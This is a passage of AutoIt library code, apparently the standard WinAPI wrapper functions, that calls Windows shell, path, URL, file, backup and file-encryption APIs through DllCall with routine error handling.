False) Return $aret[0] EndFunc Func _winapi_pathisfilespec($sfilepath) Local $aret = DllCall("shlwapi.dll", "bool", "PathIsFileSpecW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_pathislfnfilespec($sfilepath) Local $aret = DllCall("shlwapi.dll", "bool", "PathIsLFNFileSpecW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_pathisrelative($sfilepath) Local $aret = DllCall("shlwapi.dll", "bool", "PathIsRelativeW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_pathisroot($sfilepath) Local $aret = DllCall("shlwapi.dll", "bool", "PathIsRootW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_pathissameroot($spath1, $spath2) Local $aret = DllCall("shlwapi.dll", "bool", "PathIsSameRootW", "wstr", $spath1, "wstr", $spath2) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_pathissystemfolder($sfilepath) Local $aret = DllCall("shlwapi.dll", "bool", "PathIsSystemFolderW", "wstr", $sfilepath, "dword", 0) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_pathisunc($sfilepath) Local $aret = DllCall("shlwapi.dll", "bool", "PathIsUNCW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_pathisuncserver($sfilepath) Local $aret = DllCall("shlwapi.dll", "bool", "PathIsUNCServerW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_pathisuncservershare($sfilepath) Local $aret = DllCall("shlwapi.dll", "bool", "PathIsUNCServerShareW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_pathmakesystemfolder($sfilepath) Local $aret = DllCall("shlwapi.dll", "bool", "PathMakeSystemFolderW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_pathmatchspec($sfilepath, $sspec) Local $aret = DllCall("shlwapi.dll", "bool", "PathMatchSpecW", "wstr", $sfilepath, "wstr", $sspec) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_pathparseiconlocation($sfilepath) Local $aret = DllCall("shlwapi.dll", "int", "PathParseIconLocationW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, 0) Local $aresult[2] $aresult[0] = $aret[1] $aresult[1] = $aret[0] Return $aresult EndFunc Func _winapi_pathrelativepathto($spathfrom, $bdirfrom, $spathto, $bdirto) If $bdirfrom Then $bdirfrom = 16 EndIf If $bdirto Then $bdirto = 16 EndIf Local $aret = DllCall("shlwapi.dll", "bool", "PathRelativePathToW", "wstr", "", "wstr", $spathfrom, "dword", $bdirfrom, "wstr", $spathto, "dword", $bdirto) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "") Return $aret[1] EndFunc Func _winapi_pathremoveargs($sfilepath) Local $aret = DllCall("shlwapi.dll", "none", "PathRemoveArgsW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, "") Return $aret[1] EndFunc Func _winapi_pathremovebackslash($sfilepath) Local $aret = DllCall("shlwapi.dll", "ptr", "PathRemoveBackslashW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, "") Return $aret[1] EndFunc Func _winapi_pathremoveextension($sfilepath) Local $aret = DllCall("shlwapi.dll", "none", "PathRemoveExtensionW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, "") Return $aret[1] EndFunc Func _winapi_pathremovefilespec($sfilepath) Local $aret = DllCall("shlwapi.dll", "bool", "PathRemoveFileSpecW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, "") Return SetExtended($aret[0], $aret[1]) EndFunc Func _winapi_pathrenameextension($sfilepath, $sext) Local $tpath = DllStructCreate("wchar[260]") DllStructSetData($tpath, 1, $sfilepath) Local $aret = DllCall("shlwapi.dll", "bool", "PathRenameExtensionW", "struct*", $tpath, "wstr", $sext) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "") Return DllStructGetData($tpath, 1) EndFunc Func _winapi_pathsearchandqualify($sfilepath, $bexists = False) Local $aret = DllCall("shlwapi.dll", "bool", "PathSearchAndQualifyW", "wstr", $sfilepath, "wstr", "", "int", 4096) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "") If $bexists AND NOT FileExists($aret[2]) Then Return SetError(20, 0, "") Return $aret[2] EndFunc Func _winapi_pathskiproot($sfilepath) Local $tpath = DllStructCreate("wchar[" & (StringLen($sfilepath) + 1) & "]") DllStructSetData($tpath, 1, $sfilepath) Local $aret = DllCall("shlwapi.dll", "ptr", "PathSkipRootW", "struct*", $tpath) If @error Then Return SetError(@error, @extended, "") If NOT $aret[0] Then Return $sfilepath Return _winapi_getstring($aret[0]) EndFunc Func _winapi_pathstrippath($sfilepath) Local $aret = DllCall("shlwapi.dll", "none", "PathStripPathW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, "") Return $aret[1] EndFunc Func _winapi_pathstriptoroot($sfilepath) Local $aret = DllCall("shlwapi.dll", "bool", "PathStripToRootW", "wstr", $sfilepath) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "") Return $aret[1] EndFunc Func _winapi_pathundecorate($sfilepath) Local $aret = DllCall("shlwapi.dll", "none", "PathUndecorateW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, "") Return $aret[1] EndFunc Func _winapi_pathunexpandenvstrings($sfilepath) Local $aret = DllCall("shlwapi.dll", "bool", "PathUnExpandEnvStringsW", "wstr", $sfilepath, "wstr", "", "uint", 4096) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "") Return $aret[2] EndFunc Func _winapi_pathunmakesystemfolder($sfilepath) Local $aret = DllCall("shlwapi.dll", "bool", "PathUnmakeSystemFolderW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_pathunquotespaces($sfilepath) Local $aret = DllCall("shlwapi.dll", "none", "PathUnquoteSpacesW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, "") Return $aret[1] EndFunc Func _winapi_pathyetanothermakeuniquename($sfilepath) Local $aret = DllCall("shell32.dll", "int", "PathYetAnotherMakeUniqueName", "wstr", "", "wstr", $sfilepath, "ptr", 0, "ptr", 0) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "") Return $aret[1] EndFunc Func _winapi_shellgetimagelist($bsmall = False) Local $plarge, $psmall, $tptr = DllStructCreate("ptr") If $bsmall Then $plarge = 0 $psmall = DllStructGetPtr($tptr) Else $plarge = DllStructGetPtr($tptr) $psmall = 0 EndIf Local $aret = DllCall("shell32.dll", "int", "Shell_GetImageLists", "ptr", $plarge, "ptr", $psmall) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0) Return DllStructGetData($tptr, 1) EndFunc Func _winapi_urlapplyscheme($surl, $iflags = 1) Local $aret = DllCall("shlwapi.dll", "long", "UrlApplySchemeW", "wstr", $surl, "wstr", "", "dword*", 4096, "dword", $iflags) If @error Then Return SetError(@error, @extended, "") If $aret[0] Then Return SetError(10, $aret[0], "") Return $aret[2] EndFunc Func _winapi_urlcanonicalize($surl, $iflags) Local $aret = DllCall("shlwapi.dll", "long", "UrlCanonicalizeW", "wstr", $surl, "wstr", "", "dword*", 4096, "dword", $iflags) If @error Then Return SetError(@error, @extended, "") If $aret[0] Then Return SetError(10, $aret[0], "") Return $aret[2] EndFunc Func _winapi_urlcombine($surl, $spart, $iflags = 0) Local $aret = DllCall("shlwapi.dll", "long", "UrlCombineW", "wstr", $surl, "wstr", $spart, "wstr", "", "dword*", 4096, "dword", $iflags) If @error Then Return SetError(@error, @extended, "") If $aret[0] Then Return SetError(10, $aret[0], "") Return $aret[3] EndFunc Func _winapi_urlcompare($surl1, $surl2, $bignoreslash = False) Local $aret = DllCall("shlwapi.dll", "int", "UrlCompareW", "wstr", $surl1, "wstr", $surl2, "bool", $bignoreslash) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_urlcreatefrompath($sfilepath) Local $aret = DllCall("shlwapi.dll", "long", "UrlCreateFromPathW", "wstr", $sfilepath, "wstr", "", "dword*", 4096, "dword", 0) If @error Then Return SetError(@error, @extended, "") If $aret[0] < 0 OR $aret[0] > 1 Then Return SetError(10, $aret[0], "") EndIf Return $aret[2] EndFunc Func _winapi_urlfixup($surl) Local $aret = DllCall("shlwapi.dll", "long", "UrlFixupW", "wstr", $surl, "wstr", "", "dword", 4096) If @error Then Return SetError(@error, @extended, "") If $aret[0] Then Return SetError(10, $aret[0], "") Return $aret[2] EndFunc Func _winapi_urlgetpart($surl, $ipart) Local $aret = DllCall("shlwapi.dll", "long", "UrlGetPartW", "wstr", $surl, "wstr", "", "dword*", 4096, "dword", $ipart, "dword", 0) If @error Then Return SetError(@error, @extended, "") If $aret[0] Then Return SetError(10, $aret[0], "") Return $aret[2] EndFunc Func _winapi_urlhash($surl, $ilength = 32) If $ilength <= 0 OR $ilength > 256 Then Return SetError(256, 0, 0) Local $tdata = DllStructCreate("byte[" & $ilength & "]") Local $aret = DllCall("shlwapi.dll", "long", "UrlHashW", "wstr", $surl, "struct*", $tdata, "dword", $ilength) If @error Then Return SetError(@error + 10, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Return DllStructGetData($tdata, 1) EndFunc Func _winapi_urlis($surl, $itype = 0) Local $aret = DllCall("shlwapi.dll", "bool", "UrlIsW", "wstr", $surl, "uint", $itype) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc #EndRegion Public Functions #Region Internal Functions Func __us($sstring, $ilength = 0) If $ilength Then $sstring = StringLeft($sstring, $ilength) Else $ilength = StringLen($sstring) EndIf Local $tus = DllStructCreate("ushort;ushort;ptr;wchar[" & ($ilength + 1) & "]") DllStructSetData($tus, 1, 2 * StringLen($sstring)) DllStructSetData($tus, 2, 2 * $ilength) DllStructSetData($tus, 3, DllStructGetPtr($tus, 4)) DllStructSetData($tus, 4, $sstring) Return $tus EndFunc #EndRegion Internal Functions #Region Global Variables and Constants Global $__g_iheapsize = 8388608 Global Const $tagdevmode = "wchar DeviceName[32];ushort SpecVersion;ushort DriverVersion;ushort Size;ushort DriverExtra;dword Fields;short Orientation;short PaperSize;short PaperLength;short PaperWidth;short Scale;short Copies;short DefaultSource;short PrintQuality;short Color;short Duplex;short YResolution;short TTOption;short Collate;wchar FormName[32];ushort Unused1;dword Unused2[3];dword Nup;dword Unused3;dword ICMMethod;dword ICMIntent;dword MediaType;dword DitherType;dword Reserved1;dword Reserved2;dword PanningWidth;dword PanningHeight" Global Const $tagdevnames = "ushort DriverOffset;ushort DeviceOffset;ushort OutputOffset;ushort Default" Global Const $tagfileinfo = "uint64 CreationTime;uint64 LastAccessTime;uint64 LastWriteTime;uint64 ChangeTime;dword Attributes" Global Const $tagfile_id_descriptor = "dword Size;uint Type;" & $tagguid Global Const $tagwin32_find_stream_data = "int64 StreamSize;wchar StreamName[296]" Global Const $tagwin32_stream_id = "dword StreamId;dword StreamAttributes;int64 Size;dword StreamNameSize;wchar StreamName[1]" #EndRegion Global Variables and Constants #Region Functions list #EndRegion Functions list #Region Public Functions Func _winapi_backupread($hfile, $pbuffer, $ilength, ByRef $ibytes, ByRef $pcontext, $bsecurity = False) $ibytes = 0 Local $aret = DllCall("kernel32.dll", "bool", "BackupRead", "handle", $hfile, "struct*", $pbuffer, "dword", $ilength, "dword*", 0, "bool", 0, "bool", $bsecurity, "ptr*", $pcontext) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, False) $ibytes = $aret[4] $pcontext = $aret[7] Return $aret[0] EndFunc Func _winapi_backupreadabort(ByRef $pcontext) Local $aret = DllCall("kernel32.dll", "bool", "BackupRead", "handle", 0, "ptr", 0, "dword", 0, "dword*", 0, "bool", 1, "bool", 0, "ptr*", $pcontext) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, False) $pcontext = $aret[7] Return $aret[0] EndFunc Func _winapi_backupseek($hfile, $iseek, ByRef $ibytes, ByRef $pcontext) $ibytes = 0 Local $aret = DllCall("kernel32.dll", "bool", "BackupSeek", "handle", $hfile, "dword", _winapi_lodword($iseek), "dword", _winapi_hidword($iseek), "dword*", 0, "dword*", 0, "ptr*", $pcontext) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, False) $ibytes = __winapi_makeqword($aret[4], $aret[5]) $pcontext = $aret[6] Return $aret[0] EndFunc Func _winapi_backupwrite($hfile, $pbuffer, $ilength, ByRef $ibytes, ByRef $pcontext, $bsecurity = False) $ibytes = 0 Local $aret = DllCall("kernel32.dll", "bool", "BackupWrite", "handle", $hfile, "struct*", $pbuffer, "dword", $ilength, "dword*", 0, "bool", 0, "bool", $bsecurity, "ptr*", $pcontext) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, False) $ibytes = $aret[4] $pcontext = $aret[7] Return $aret[0] EndFunc Func _winapi_backupwriteabort(ByRef $pcontext) Local $aret = DllCall("kernel32.dll", "bool", "BackupWrite", "handle", 0, "ptr", 0, "dword", 0, "dword*", 0, "bool", 1, "bool", 0, "ptr*", $pcontext) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, False) $pcontext = $aret[7] Return $aret[0] EndFunc Func _winapi_copyfileex($sexistingfile, $snewfile, $iflags = 0, $pprogressproc = 0, $pdata = 0) Local $aret = DllCall("kernel32.dll", "bool", "CopyFileExW", "wstr", $sexistingfile, "wstr", $snewfile, "ptr", $pprogressproc, "struct*", $pdata, "bool*", 0, "dword", $iflags) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_createdirectory($sdir, $tsecurity = 0) Local $aret = DllCall("kernel32.dll", "bool", "CreateDirectoryW", "wstr", $sdir, "struct*", $tsecurity) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_createdirectoryex($snewdir, $stemplatedir, $tsecurity = 0) Local $aret = DllCall("kernel32.dll", "bool", "CreateDirectoryExW", "wstr", $stemplatedir, "wstr", $snewdir, "struct*", $tsecurity) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_createfileex($sfilepath, $icreation, $iaccess = 0, $ishare = 0, $iflagsandattributes = 0, $tsecurity = 0, $htemplate = 0) Local $aret = DllCall("kernel32.dll", "handle", "CreateFileW", "wstr", $sfilepath, "dword", $iaccess, "dword", $ishare, "struct*", $tsecurity, "dword", $icreation, "dword", $iflagsandattributes, "handle", $htemplate) If @error Then Return SetError(@error, @extended, 0) If $aret[0] = Ptr(-1) Then Return SetError(10, _winapi_getlasterror(), 0) Return $aret[0] EndFunc Func _winapi_createfilemapping($hfile, $isize = 0, $sname = "", $iprotect = 4, $tsecurity = 0) Local $stypeofname = "wstr" If NOT StringStripWS($sname, $str_stripleading + $str_striptrailing) Then $stypeofname = "ptr" $sname = 0 EndIf Local $aret = DllCall("kernel32.dll", "handle", "CreateFileMappingW", "handle", $hfile, "struct*", $tsecurity, "dword", $iprotect, "dword", _winapi_hidword($isize), "dword", _winapi_lodword($isize), $stypeofname, $sname) If @error Then Return SetError(@error, @extended, 0) Return SetExtended(_winapi_getlasterror(), $aret[0]) EndFunc Func _winapi_createhardlink($snewfile, $sexistingfile) Local $aret = DllCall("kernel32.dll", "bool", "CreateHardLinkW", "wstr", $snewfile, "wstr", $sexistingfile, "ptr", 0) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_createobjectid($sfilepath) Local $hfile = _winapi_createfileex($sfilepath, $open_existing, 0, $file_share_readwrite, $file_flag_backup_semantics) If @error Then Return SetError(@error + 20, @extended, 0) Local $tfoid = DllStructCreate("byte[16];byte[48]") Local $aret = DllCall("kernel32.dll", "bool", "DeviceIoControl", "handle", $hfile, "dword", 590016, "ptr", 0, "dword", 0, "struct*", $tfoid, "dword", DllStructGetSize($tfoid), "dword*", 0, "ptr", 0) If __checkerrorclosehandle($aret, $hfile) Then Return SetError(@error, @extended, 0) Local $tguid = DllStructCreate($tagguid) _winapi_movememory($tguid, $tfoid, 16) Return $tguid EndFunc Func _winapi_createsymboliclink($ssymlink, $starget, $bdirectory = False) If $bdirectory Then $bdirectory = 1 EndIf Local $aret = DllCall("kernel32.dll", "boolean", "CreateSymbolicLinkW", "wstr", $ssymlink, "wstr", $starget, "dword", $bdirectory) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_decryptfile($sfilepath) Local $aret = DllCall("advapi32.dll", "bool", "DecryptFileW", "wstr", $sfilepath, "dword", 0) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_definedosdevice($sdevice, $iflags, $sfilepath = "") Local $stypeofpath = "wstr" If NOT StringStripWS($sfilepath, $str_stripleading + $str_striptrailing) Then $stypeofpath = "ptr" $sfilepath = 0 EndIf Local $aret = DllCall("kernel32.dll", "bool", "DefineDosDeviceW", "dword", $iflags, "wstr", $sdevice, $stypeofpath, $sfilepath) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_deletefile($sfilepath) Local $aret = DllCall("kernel32.dll", "bool", "DeleteFileW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_deleteobjectid($sfilepath) Local $hfile = _winapi_createfileex($sfilepath, $open_existing, $generic_write, $file_share_readwrite, $file_flag_backup_semantics) If @error Then Return SetError(@error + 20, @extended, 0) Local $aret = DllCall("kernel32.dll", "bool", "DeviceIoControl", "handle", $hfile, "dword", 589984, "ptr", 0, "dword", 0, "ptr", 0, "dword", 0, "dword*", 0, "ptr", 0) If __checkerrorclosehandle($aret, $hfile) Then Return SetError(@error, @extended, 0) Return 1 EndFunc Func _winapi_deletevolumemountpoint($smountedpath) Local $aret = DllCall("kernel32.dll", "bool", "DeleteVolumeMountPointW", "wstr", $smountedpath) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_deviceiocontrol($hdevice, $icontrolcode, $pinbuffer = 0, $iinbuffersize = 0, $poutbuffer = 0, $ioutbuffersize = 0) Local $aret = DllCall("kernel32.dll", "bool", "DeviceIoControl", "handle", $hdevice, "dword", $icontrolcode, "struct*", $pinbuffer, "dword", $iinbuffersize, "struct*", $poutbuffer, "dword", $ioutbuffersize, "dword*", 0, "ptr", 0) If @error Then Return SetError(@error, @extended, False) Return SetExtended($aret[7], $aret[0]) EndFunc Func _winapi_duplicateencryptioninfofile($ssrcfilepath, $sdestfilepath, $icreation = 2, $iattributes = 0, $tsecurity = 0) Local $aret = DllCall("advapi32.dll", "dword", "DuplicateEncryptionInfoFile", "wstr", $ssrcfilepath, "wstr", $sdestfilepath, "dword", $icreation, "dword", $iattributes, "struct*", $tsecurity) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Return 1 EndFunc Func _winapi_ejectmedia($sdrive) Local $hfile = _winapi_createfileex("\\.\" & $sdrive, $open_existing, $generic_read, $file_share_readwrite) If @error Then Return SetError(@error + 20, @extended, 0) Local $aret = DllCall("kernel32.dll", "bool", "DeviceIoControl", "handle", $hfile, "dword", 2967560, "ptr", 0, "dword", 0, "ptr", 0, "dword", 0, "dword*", 0, "ptr", 0) If __checkerrorclosehandle($aret, $hfile) Then Return SetError(@error, @extended, 0) Return 1 EndFunc Func _winapi_encryptfile($sfilepath) Local $aret = DllCall("advapi32.dll", "bool", "EncryptFileW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_encryptiondisable($sdir, $bdisable) Local $aret = DllCall("advapi32.dll", "bool", "EncryptionDisable", "wstr", $sdir, "bool", $bdisable) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_enumfiles($sdir, $iflag = 0, $stemplate = "", $bexclude = False) Local $aret = 0, $ierror = 0 Local $adata[501][7] = [[0]] Local $hdir = _winapi_createfileex($sdir, $open_existing, 1, $file_share_any, $file_flag_backup_semantics) If @error Then Return SetError(@error + 20, @extended, 0) Local $pbuffer = __heapalloc($__g_iheapsize) If @error Then $ierror = @error Else Local $tiosb = DllStructCreate("ptr;ulong_ptr") $aret = DllCall("ntdll.dll", "uint", "ZwQueryDirectoryFile", "handle", $hdir, "ptr", 0, "ptr", 0, "ptr", 0, "struct*", $tiosb, "struct*", $pbuffer, "ulong", 8388608, "uint", 1, "boolean", 0, "ptr", 0, "boolean", 1) If @error OR $aret[0] Then $ierror = @error + 40 EndIf EndIf DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hdir) If $ierror Then __heapfree($pbuffer, 1) If IsArray($aret) Then Return SetError(10, $aret[0], 0) Else Return SetError($ierror, 0, 0) EndIf EndIf Local $tfdi, $iattrib, $starget, $ilength = 0, $ioffset = 0 Do $ilength += $ioffset $tfdi = DllStructCreate("ulong;ulong;int64;int64;int64;int64;int64;int64;ulong;ulong;wchar[" & (DllStructGetData(DllStructCreate("ulong", $pbuffer + $ilength + 60), 1) / 2) & "]", $pbuffer + $ilength) $starget = DllStructGetData($tfdi, 11) $iattrib = DllStructGetData($tfdi, 9) $ioffset = DllStructGetData($tfdi, 1) Switch $starget Case ".", ".." ContinueLoop Case Else Switch $iflag Case 1, 2 If BitAND($iattrib, 16) Then If $iflag = 1 Then ContinueLoop EndIf Else If $iflag = 2 Then ContinueLoop EndIf EndIf EndSwitch If $stemplate Then $aret = DllCall("shlwapi.dll", "int", "PathMatchSpecW", "wstr", $starget, "wstr", $stemplate) If @error OR ($aret[0] AND $bexclude) OR (NOT $aret[0] AND NOT $bexclude) Then ContinueLoop EndIf EndIf EndSwitch __inc($adata, 500) $adata[$adata[0][0]][0] = $starget $adata[$adata[0][0]][1] = DllStructGetData($tfdi, 3) $adata[$adata[0][0]][2] = DllStructGetData($tfdi, 4) $adata[$adata[0][0]][3] = DllStructGetData($tfdi, 5) $adata[$adata[0][0]][4] = DllStructGetData($tfdi, 7) $adata[$adata[0][0]][5] = DllStructGetData($tfdi, 8) $adata[$adata[0][0]][6] = $iattrib Until NOT $ioffset __heapfree($pbuffer) __inc($adata, -1) Return $adata EndFunc Func _winapi_enumfilestreams($sfilepath) Local $tdata = DllStructCreate("byte[32768]") Local $pdata = DllStructGetPtr($tdata) Local $adata[101][2] = [[0]] Local $hfile = _winapi_createfileex($sfilepath, $open_existing, 0, $file_share_readwrite, $file_flag_backup_semantics) If @error Then Return SetError(@error + 20, @extended, 0) Local $ierror = 0 Local $tiosb = DllStructCreate("ptr;ulong_ptr") Local $aret = DllCall("ntdll.dll", "long", "ZwQueryInformationFile", "handle", $hfile, "struct*", $tiosb, "ptr", $pdata, "ulong", 32768, "uint", 22) If @error Then $ierror = @error DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hfile) If $ierror Then Return SetError($ierror, 0, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Local $tfsi, $ilength = 0, $ioffset = 0 Do $ilength += $ioffset $tfsi = DllStructCreate("ulong;ulong;int64;int64;wchar[" & (DllStructGetData(DllStructCreate("ulong", $pdata + $ilength + 4), 1) / 2) & "]", $pdata + $ilength) __inc($adata) $adata[$adata[0][0]][0] = DllStructGetData($tfsi, 5) $adata[$adata[0][0]][1] = DllStructGetData($tfsi, 3) $ioffset = DllStructGetData($tfsi, 1) Until NOT $ioffset __inc($adata, -1) Return $adata EndFunc Func _winapi_enumhardlinks($sfilepath) Local $tdata = DllStructCreate("byte[32768]") Local $pdata = DllStructGetPtr($tdata) Local $hfile = _winapi_createfileex($sfilepath, $open_existing, 0, $file_share_readwrite) If @error Then Return SetError(@error + 20, @extended, 0) Local $ierror = 0 Local $tiosb = DllStructCreate("ptr;ulong_ptr") Local $aret = DllCall("ntdll.dll", "long", "ZwQueryInformationFile", "handle", $hfile, "struct*", $tiosb, "ptr", $pdata, "ulong", 32768, "uint", 46) If @error OR $aret[0] Then $ierror = @error + 10 DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hfile) If $aret Then Return SetError($ierror, 0, 0) If $aret[0] Then Return SetError(10, $ierror, 0) EndIf Local $icount = DllStructGetData(DllStructCreate("ulong;ulong", $pdata), 2) Local $adata[$icount + 1] = [$icount] Local $tflei, $hpath, $spath, $ilength = 8 For $i = 1 To $icount $tflei = DllStructCreate("ulong;int64;ulong;wchar[" & (DllStructGetData(DllStructCreate("ulong", $pdata + $ilength + 16), 1)) & "]", $pdata + $ilength) $ierror = 0 Do $hpath = _winapi_openfilebyid($hfile, DllStructGetData($tflei, 2), 1048704, $file_share_readwrite, $file_flag_backup_semantics) If @error Then $ierror = @error + 100 ExitLoop EndIf $spath = _winapi_getfinalpathnamebyhandleex($hpath) If @error Then $ierror = @error + 200 ExitLoop EndIf Until 1 If $hpath Then DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hpath) EndIf If $ierror Then ExitLoop $adata[$i] = _winapi_pathappend($spath, DllStructGetData($tflei, 4)) $ilength += DllStructGetData($tflei, 1) Next DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hfile) If $ierror Then Return SetError($ierror, 0, 0) Return $adata EndFunc Func _winapi_fileencryptionstatus($sfilepath) Local $aret = DllCall("advapi32.dll", "bool", "FileEncryptionStatusW", "wstr", $sfilepath, "dword*", 0) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, -1) Return $aret[2] EndFunc Func _winapi_fileexists($sfilepath) If NOT FileExists($sfilepath) Then Return 0 If _winapi_pathisdirectory($sfilepath) Then Return SetExtended(1, 0) Return 1 EndFunc Func _winapi_fileinuse($sfilepath) Local $hfile = _winapi_createfileex($sfilepath, $open_existing, $generic_read) If @error Then If @extended = 32 Then Return 1 Return SetError(@error, @extended, 0) EndIf DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hfile) Return 0 EndFunc Func _winapi_findclose($hsearch) Local $aret = DllCall("kernel32.dll", "bool", "FindClose", "handle", $hsearch) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_findclosechangenotification($hchange) Local $aret = DllCall("kernel32.dll", "bool", "FindCloseChangeNotification", "handle", $hchange) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_findfirstchangenotification($sdirectory, $iflags, $bsubtree = False) Local $aret = DllCall("kernel32.dll", "handle", "FindFirstChangeNotificationW", "wstr", $sdirectory, "bool", $bsubtree, "dword", $iflags) If @error OR ($aret[0] = Ptr(-1)) Then Return SetError(@error + 10, @extended, 0) Return $aret[0] EndFunc Func _winapi_findfirstfile($sfilepath, $tdata) Local $aret = DllCall("kernel32.dll", "handle", "FindFirstFileW", "wstr", $sfilepath, "struct*", $tdata) If @error Then Return SetError(@error, @extended, 0) If $aret[0] = Ptr(-1) Then Return SetError(10, _winapi_getlasterror(), 0) Return $aret[0] EndFunc Func _winapi_findfirstfilename($sfilepath, ByRef $slink) $slink = "" Local $aret = DllCall("kernel32.dll", "handle", "FindFirstFileNameW", "wstr", $sfilepath, "dword", 0, "dword*", 4096, "wstr", "") If @error OR ($aret[0] = Ptr(-1)) Then Return SetError(@error + 10, @extended, 0) $slink = $aret[4] Return $aret[0] EndFunc Func _winapi_findfirststream($sfilepath, $tdata) Local $aret = DllCall("kernel32.dll", "handle", "FindFirstStreamW", "wstr", $sfilepath, "uint", 0, "struct*", $tdata, "dword", 0) If @error Then Return SetError(@error, @extended, 0) If $aret[0] = Ptr(-1) Then Return SetError(10, _winapi_getlasterror(), 0) Return $aret[0] EndFunc Func _winapi_findnextchangenotification($hchange) Local $aret = DllCall("kernel32.dll", "bool", "FindNextChangeNotification", "handle", $hchange) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_findnextfile($hsearch, $tdata) Local $aret = DllCall("kernel32.dll", "bool", "FindNextFileW", "handle", $hsearch, "struct*", $tdata) If @error Then Return SetError(@error, @extended, False) If NOT $aret[0] Then Return SetError(10, _winapi_getlasterror(), 0) Return $aret[0] EndFunc Func _winapi_findnextfilename($hsearch, ByRef $slink) $slink = "" Local $aret = DllCall("kernel32.dll", "bool", "FindNextFileNameW", "handle", $hsearch, "dword*", 4096, "wstr", "") If @error Then Return SetError(@error, @extended, False) If NOT $aret[0] Then Return SetError(10, _winapi_getlasterror(), 0) $slink = $aret[3] Return $aret[0] EndFunc Func _winapi_findnextstream($hsearch, $tdata) Local $aret = DllCall("kernel32.dll", "bool", "FindNextStreamW", "handle", $hsearch, "struct*", $tdata) If @error Then Return SetError(@error, @extended, False) If NOT $aret[0] Then Return SetError(10, _winapi_getlasterror(), 0) Return $aret[0] EndFunc Func _winapi_flushviewoffile($paddress, $ibytes = 0) Local $aret = DllCall("kernel32.dll", "bool", "FlushViewOfFile", "struct*", $paddress, "dword", $ibytes) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getbinarytype($sfilepath) Local $aret = DllCall("kernel32.dll", "int", "GetBinaryTypeW", "wstr", $sfilepath, "dword*", 0) If @error Then Return SetError(@error, @extended, 0) If NOT $aret[0] Then $aret[2] = 0 Return SetExtended($aret[2], $aret[0]) EndFunc Func _winapi_getcdtype($sdrive) Local $hfile = _winapi_createfileex("\\.\" & $sdrive, $open_existing, $generic_readwrite, $file_share_readwrite) If @error Then Return SetError(@error + 20, @extended, 0) Local $tagscsi_pass_through = "struct;ushort Length;byte ScsiStatus;byte PathId;byte TargetId;byte Lun;byte CdbLength;byte SenseInfoLength;byte DataIn;ulong DataTransferLength;ulong TimeOutValue;ulong_ptr DataBufferOffset;ulong SenseInfoOffset;byte Cdb[16];endstruct" Local $tspt = 